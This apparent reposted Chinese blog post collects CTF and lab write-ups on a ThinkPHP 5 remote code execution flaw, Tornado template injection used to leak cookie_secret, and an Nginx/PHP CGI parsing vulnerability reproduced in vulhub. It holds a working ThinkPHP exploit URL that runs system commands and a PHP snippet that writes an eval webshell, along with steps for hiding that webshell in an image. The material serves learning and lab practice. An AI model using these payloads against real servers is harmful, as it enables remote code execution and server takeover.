ThinkPHP V5(漏洞解析及利用)及tornado知识点
Posted 偶尔躲躲乌云334
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ThinkPHP V5(漏洞解析及利用)及tornado知识点相关的知识,希望对你有一定的参考价值。
Thinkphp 5漏洞简介
ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。
漏洞分析
程序未对控制器进行过滤,导致攻击者可以用 \\(斜杠)调用任意类方法。
漏洞利用
http://159.138.137.79:63571/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
到这里会出现
可是直接 cat /flag 或者cat /flag/flag,都不对可能有很多层的目录
用到命令 find / -name flag*这样就可以找到很多层的目录,然后cat就行或者
直接cat $(find / -name flag)也可以
easytornado
主要是tornado框架的一些知识点
开局三个选择, flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))
render是模板渲染所以考虑到了ssti,这里我们需要得到的就是cookie_secret这样就行,因为filename我们已经知道了,然后一起md5加密传参就会获得flag
只可以执行这种,不能执行运算,在tornado官方网站和网上查找资料,最终得到handler指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了
发现里面有cookie_secret所以我们直接传参 handler.settings
进入第二个选择,这道题重要的是找到注入点,通过试出来时报错这个
Nginx 解析漏洞复现及利用
Nginx 解析漏洞复现
今天被老师进行进行面试了,被问到了什么是解析漏洞,呜呜呜我太菜了,答不出来,但是生命不息,学习不止,现在就让我们一起学习一下什么是解析漏洞。
打开vulhub靶场,这个靶场搭建的方法在https://blog.csdn.net/Tauil/article/details/125869410?spm=1001.2014.3001.5502,这个漏洞的地址是在nginx/nginx_parsing_vulnerability,直接就是一个
cd nginx/nginx_parsing_vulnerability/
sudo docker-compose up -d
登录 http://靶机ip/uploadfiles/nginx.png,当在该URL中输入不存在的文件名x.php时,发现会自动显示php界面内容
这是什么原因呢?其实啊这就是nginx的文件解析出现了错误,在获得这个.php路径时他没有检查,一看是个.php后缀的文件就直接丢给php去处理了,php处理的时候发现 “诶?没有这个文件啊” 于是他就会继续向上找,就找到了.php的上级文件.jpg,然后把它当做php文件给处理了。具体的就看下面这个详细信息
Nginx 解析漏洞该解析漏洞是PHP CGI 的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认开启,当URL中有不存在的文件,PHP就会向前递归解析 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg解析为 php 文件。
Nginx<=0.8.37 解析漏洞 在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞,在一个文件路径(/xx.jpg)后面加上%00.php 会将 /xx.jpg%00.php 解析为php 文件。另一种手法:上传一个名字为test.jpg,包含以下内容文件:<?PHP fputs(fopen(‘shell.php’.‘w’),’<?phpeval($_POST[cmd])?>’);?> 然后访问test.jpg/.php 在这个目录下就会生成一句话木马shell.php。
昂,具体内容在这https://blog.csdn.net/niqiu320/article/details/115481193,有兴趣的自己看一下。
Nginx 解析漏洞利用
所以我们现在要做的就是上传一个图片马文件到这个网站上,然后在登录/.上传的.jpg/.php来执行该文件,从而生成我们的shell.php文件来连接靶机
首先随机拿一张图片,然后再写一个.php文件,里面写上
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);echo"hacker"?>');?>//创建名为shell.php的文件,并在文件中写入<?php eval($_POST["cmd"]);echo"hacker"?>
我这里用的图片就是这个,非常好认嗷。
然后在桌面(你两个文件在哪就在哪打开)打开cmd,执行命令
copy /b 图片文件+php文件 shell.jpg
然后就成功将两个文件合成为shell.jpg文件了,现在我们就可以访问http://靶机IP/index.php来上传我们的文件,很显然,不给上传,东西写进去文件被破坏了,被检验出不是正常的jpg不能上传了,可能有些朋友就成功了,因为第一次的时候我是可以的,现在应该是写的内容太多了,出了问题。
这时候我们就可以打开WexHex,将图片打开,拉倒文件的最末尾处,右键选择编辑,添加零字节,然后在上面写入以下内容
正常情况下保存后图片仍然能正常显示,如果还是不能正常显示的,可以打开burpsuite,然后上传正常图片时抓包,在数据末尾加上一句话木马,通常就能上传成功了。
现在将修改好的图片进行上传,上传成功后访问图片位置,图片内容正常,这时候在URL后加上/.php,让其运行php命令
会发现看不到我们写入的php命令了,但是其实是因为他已经成功执行了,这时候在uploadfiles的目录下已经成功生成了名为shell.php的文件,我们只需要访问该文件就可以了
这里的警告不用在意,这个不影响。这个时候就可以打开某不知名工具进行连接,连接成功后就可以进入到靶机内部
再深入的就不讲了,学习新思想,争做新青年,一起好好学习,努力为社会做出贡献。
以上是关于ThinkPHP V5(漏洞解析及利用)及tornado知识点的主要内容,如果未能解决你的问题,请参考以下文章
ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截
[PHP代码审计]iWebShop开源商城系统V5.9.21010存在命令执行漏洞
[PHP代码审计]iWebShop开源商城系统V5.9.21010存在命令执行漏洞